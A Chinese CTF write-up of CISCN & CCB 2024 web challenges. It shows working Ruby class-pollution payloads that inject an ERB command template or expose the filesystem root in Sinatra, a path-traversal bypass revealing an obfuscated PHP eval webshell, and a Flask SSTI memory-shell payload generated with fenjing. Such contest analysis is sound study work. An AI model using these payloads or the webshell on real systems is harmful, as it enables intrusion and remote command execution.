目录

  1. 1. 前言
  2. 2. ezruby(复现)
    1. 2.1. ruby类
    2. 2.2. 类污染
      1. 2.2.1. 污染当前对象
      2. 2.2.2. 污染父类
      3. 2.2.3. 污染其他类
    3. 2.3. Sinatra下的类污染
      1. 2.3.1. 写erb模板
      2. 2.3.2. 设置静态目录
  3. 3. helloweb(复现)
  4. 4. safeproxy
  5. 5. sxweb1(Unsolved)
  6. 6. easyweb(Unsolved)
  7. 7. sxweb2(Unsolved)
  8. 8. BookManager(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN&CCB2024

2024/12/15 CTF线上赛
  |     |   总文章阅读量:

前言

一觉醒来NISA实力下降一万倍,哈哈两人退役之后我们完蛋了

这b web真是一天比一天难打了,梭哈半天拿不下少解题,其他题回头就被打烂😭

参考:

https://xz.aliyun.com/t/16750

https://xz.aliyun.com/t/16792

https://p0lar1ght.github.io/posts/%E7%AC%AC%E5%8D%81%E5%85%AB%E5%B1%8A%E5%9B%BD%E8%B5%9B%E6%9A%A8%E7%AC%AC%E4%BA%8C%E5%B1%8A%E9%95%BF%E5%9F%8E%E6%9D%AF_WEB_bookmanager%E9%A2%98%E8%A7%A3/#%E4%B8%80%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90

image-20241215231840744


ezruby(复现)

ruby/3.3.5 webrick/1.9.1

拿 docker 起一下环境

FROM ruby:3.3.5-alpine

WORKDIR /usr/src/app

RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories
RUN apk update && apk add --no-cache build-base

COPY Gemfile ./

RUN bundle install

COPY . .

EXPOSE 8888

# 启动应用
CMD ["bundle", "exec", "ruby", "main.rb"]

Gemfile

source "https://gems.ruby-china.com"

gem "sinatra"
gem "json"
gem "net-http"
gem "puma"
gem "rackup"

自己配置一下调试环境

main.rb

# frozen_string_literal: true

require 'json'
require 'sinatra/base'
require 'net/http'


class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end


  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private


  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        if current_obj.is_a?(Hash)
          current_obj[key] = value
        else
          current_obj.instance_variable_set("@#{key}", value)
          current_obj.singleton_class.attr_accessor key
        end
      end
    end
    original
  end
end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end


class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  set  :bind ,  '0.0.0.0'
  set  :port ,  '8888'
  post '/merge' do
    content_type :json
    j_str = request.body.read
    return "try try try"  if j_str.include?("\\") || j_str.include?("h")

    json_input = JSON.parse(j_str, symbolize_names: true)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)

    { status: 'merged' }.to_json
  end

  # GET /launch-curl-command - Activates the first gadget
  get '/launch-curl-command' do
    content_type :json

    # This gadget makes an HTTP request to the URL stored in the User class
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end
  
  get '/sign_with_subclass_key' do
    content_type :json
    
    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
  end
  
  get '/check-infected-vars' do
    content_type :json

    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end

  get('/') do
    erb :hello
  end
  run! if app_file == $0
end

搜索发现以下文章:

https://github.com/HackTricks-wiki/hacktricks/blob/3e784b40f5711208c50e75daa3a5b1a839cb7316/pentesting-web/deserialization/ruby-class-pollution.md

https://book.hacktricks.xyz/cn/pentesting-web/deserialization/ruby-class-pollution

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

大概的思路是打 ruby 类污染,和原型链污染类似

首先要了解一下 ruby 类

ruby类

ruby 中万物皆对象,对于这个 Person 类

class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end
  • 类变量(类似 Java 中类的静态变量)使用@@前缀,可以跨对象使用

  • 实例变量使用@前缀,在类内部使用@进行访问,可以跨任何特定的实例或对象中的方法使用

  • :前缀表示符号(symbol),在 ruby 中是轻量级、不可变的字符串,通常用于表示标识符、方法名或键

ruby 对象的一些特殊方法:

  • attr_accessor:定义实例变量的 getter 和 setter 方法,用于在类外部访问实例变量
  • initialize:类的构造方法
  • to_s:toString 方法
  • inspect:和 to_s 差不多,常用于debug
  • method_missing:类似PHP的__call__方法,当调用一个不存在的方法时会触发
  • respond_to?:检测对象是否有某个方法或属性
  • send:根据方法名来调用(包括私有方法)
  • public_send:根据方法名调用公开方法

ruby 对象的一些特殊属性(类也算对象):

  • class:当前对象的类
  • superclass:父类
  • subclasses:子类数组
  • instance_variables:实例变量名的数组
  • class_variables:类变量名的数组

在 Ruby 中,所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类,所有其他类都直接或间接地继承自它

image-20250322085041341

类污染

def recursive_merge(original, additional, current_obj = original)
  additional.each do |key, value|
    if value.is_a?(Hash)
      if current_obj.respond_to?(key)
        next_obj = current_obj.public_send(key)
        recursive_merge(original, value, next_obj)
      else
        new_object = Object.new
        current_obj.instance_variable_set("@#{key}", new_object)
        current_obj.singleton_class.attr_accessor key
      end
    else
      current_obj.instance_variable_set("@#{key}", value)
      current_obj.singleton_class.attr_accessor key
    end
  end
  original
end

这里就是不安全的 merge 操作,current_obj.instance_variable_set会直接在current_obj上设置实例变量

也就是说能随意污染任意对象/类的实例变量

污染当前对象

class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end


  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private


  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        if current_obj.is_a?(Hash)
          current_obj[key] = value
        else
          current_obj.instance_variable_set("@#{key}", value)
          current_obj.singleton_class.attr_accessor key
        end
      end
    end
    original
  end
end

这里的 merge_with 是 Person 类下的方法,试图污染在同一个类下的@@url

image-20250322090734947

可以看到这里用{"class":{"url":"https://c1oudfl0w0.github.io/blog/"}}成功污染了对象a同一个 Person 类下的 url 属性


污染父类

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end

这里 User 类继承了 Person,是 Person 类的子类

这种情况也可以污染父类 Person 的 @@url 变量,但这里实际上是给父类 Person 增加了一个实例变量 @url,通过 Person.url 访问时,实例变量 @url 覆盖了类变量 @@url

image-20250322092508180

这里使用{"class":{"superclass":{"url":"https://example.com/"}}}来污染


污染其他类

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end

class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

尝试在 User 类污染到 Keysigner 类的 signing_key

前面提过,ruby 中所有类都是直接或间接继承 BasicObject 类的,而这里创建的类都是继承 BasicObject 下的 Object 类

那么可以先用superclass获取父类 Object,然后再用subclasses获取 Object 下的 Keysigner,从而实现污染 signing_key

注意 subclasses 返回的是一个数组,需要使用指定的下标访问

image-20250322093528521

那么问题就来了,json 格式下是没有数组下标这一说的

Array.sample():从 Array 实例的元素中选择一个随机对象

所以我们可以使用 subclasses.sample 来获取任意类

image-20250322093905300

如果想要污染特定的类的话就需要爆破,通过多次污染,总有几率污染到Keysigner这个子类

payload:

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}

Sinatra下的类污染

回到题目

开头这个# frozen_string_literal: true会冻结所有字符串字面量

观察一下和 Doyensec 的文章不一样改动的地方

return "try try try"  if j_str.include?("\\") || j_str.include?("h")


if Person.respond_to?(:url)
    url = Person.url
    response = Net::HTTP.get_response(URI(url))
    { status: 'HTTP request made', url: url }.to_json

那么就是ban了反斜杠和h,同时 curl 无回显

调试发现,JSON.parse 这里可以正确解析 unicode 编码,不过\被 ban 了也用不了

image-20250322094529423

思路是在 JSONMergerApp 里找一个能污染的属性来实现类似于 静态文件读取 或者 getshell

写erb模板

下断点调试,我们的目标放在 JSONMergerApp 类上

image-20250322100432299

JSONMergerApp 类下有 templates 属性,猜测是存放模板的,跟进到父类 Sinatra::Base 看下源码

image-20250322101857730

到 template 这里,跟进 compile_template

image-20250323105531679

这里会获取 settings.templates 的 body,即要渲染的代码,如果存在则直接渲染

image-20250323105820901

可以看到这里的 settings 是一个 JSONMergerApp 对象,而 data 的值是 hello,但是 settings.templates 是空哈希

尝试直接给它赋值:

image-20250323113908404

此时发现页面回显变成 aaa 了,说明需要控制的就是这个 templates

同理可以命令执行

JSONMergerApp.set :templates,{"hello":"<%= `ls` %>"}

image-20250323114210012

那么这里就可以尝试污染 hello 模板

payload:

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `ls` %>"}}}}}}}

但是原题中过滤了 h\,测了一下绕不过去 :(


设置静态目录

在 Sinatra 中使用如下配置来设置静态目录

set :public_folder, File.dirname(__FILE__) + '/static'

对应源码中的操作:

image-20250323115154000

默认的静态目录是 public,其目录下的静态资源直接访问其文件名即可获取

调试一下这里的 set,发现就是它来设置属性

image-20250323120322263

class_eval 可以给类动态定义方法

image-20250323120157769

那么我们可以直接改变 JSONMergerApp.public_folder 的值

image-20250323120752211

此时就能访问根目录下的任意文件了

尝试污染 public_folder

image-20250323114954277

注意这里要污染的是 JSONMergerApp,是 Sinatra::Base 的子类,Sinatra::Base 是 Object 的子类,所以这里得嵌套两层 subclasses

payload:

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"subclasses": {"sample":{"public_folder": "/"}}}}}}}}

期间因为随机类覆盖会有大量报错,无需在意

image-20250320220322747

最后可以发现

image-20250320220636856

成功覆盖

直接访问 /flag 即可读取静态文件

image-20250321002135193


helloweb(复现)

GET /index.php?file=hello.php HTTP/1.1
HTTP/1.1 200 OK
Date: Sun, 15 Dec 2024 02:10:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
tip: &#105;&#110;&#99;&#108;&#117;&#100;&#101;&#46;&#112;&#104;&#112
Content-Length: 2470

<!-- ../hackme.php -->
<!--  ../tips.php  -->


<div class="relocating">
Navigating to: <span class="relocate-location"></span>...
</div>

tip解码出来是 include.php,但是访问不到这个文件

index.php,hello.php,hackme.php,tips.php 均在同一文件夹下,但是上面的 hint 里是../,而我们输入的 ../hackme.php 实际上访问的也是 hackme.php

结合 Navigating ,猜测替换了../为空,有双写绕过,尝试..././hackme.php

能读到

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

$YwzIst 是 base64_decode,decode后的内容:

$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

复制到本地一步步 echo 分析出来

image-20241215170723989

那么shell就是:

<?php @eval($_POST['cmd_66.99']); ?>

蚁剑连上去,注意密码参数这里是cmd[66.99

index.php

<!-- ../hackme.php -->
<!--  ../tips.php  -->
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');
        exit();
    }
    @$file = $_GET["file"];
    if (isset($_GET['file'])) 
    {
        $file = str_replace('../', '', $_GET['file']);
    
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file) >= 14) 
        {
            echo "<h1>NAIVE!!!</h1>";
        } else 
            {
                echo "<div style='text-align: center;'>";
                echo "</div>";
                include($file);
            }
}
?>

尝试拿蚁剑插件打disable_function能写,但是连 .antproxy.php 上不去,不知道为什么


结束后试了一下直接在 /tmp 写马 index.php,然后 fpm 起 phpserver 开在 /tmp 下,密码填 /tmp/index.php 的即可绕过 disable_function 且正常连接

接下来找flag,本来以为要提权的,找了半天没提权点

find / -type f -name "flag" 2>/dev/null找到了神人flag路径

image-20241215204605743


safeproxy

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

一眼打ssti,ban 了响应头

打内存马在响应体里就行

import fenjing
import logging

import requests

logging.basicConfig(level=logging.INFO)

payload = """
[
    app.view_functions
    for app in [ __import__('sys').modules["__main__"].app ]
    for request in [ __import__('sys').modules["__main__"].request ]
    if [
        app.__dict__.update({'_got_first_request':False}),
        app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)
    ]
]
"""


def waf(s):
    blacklist = [
        '\\' , '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'
    ]
    return all(word not in s for word in blacklist)


full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(
    fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
    print("这个payload不会产生回显")
print(payload)

r = requests.post(
    "http://47.93.212.188:32936",
    data={"code": payload},
    cookies={
    })
print(r.text)

image-20241215100840684


sxweb1(Unsolved)

Apache/2.4.58

直接访问 publishers.php,返回more lines returned. maybe SQL injection Attack


easyweb(Unsolved)

进去403,开扫

有一个上传文件的接口和一个下载文件的接口

下载文件限制后缀为 .txt 和 .zip

上传文件限制后缀为图片且无回显路径


sxweb2(Unsolved)

看起来像是 1 的进阶版,实际上 1 还是0解

进去发现路径直接在 /cgi-bin/index.py 了

单独访问 /cgi-bin/ 得到

/
    html/
        index.html
        apache.jpg
    db/
        pubs.db
    cgi-bin/
        local/
            flag.py
        index.cgi
        authors.py
        index.py
        wget.py
        update_authorsform.py
        updateauthor.py

但是直接访问 /cgi-bin/local/flag.py 会返回403

尝试通过 wget.py 访问 127.0.0.1/cgi-bin/local/flag.py ,返回 Notice: local access is not allowed

/bin/authors.py

image-20241215210603673

/cgi-bin/update_authorsform.py

image-20241215210619778

/cgi-bin/updateauthor.py

image-20241215210707260


BookManager(Unsolved)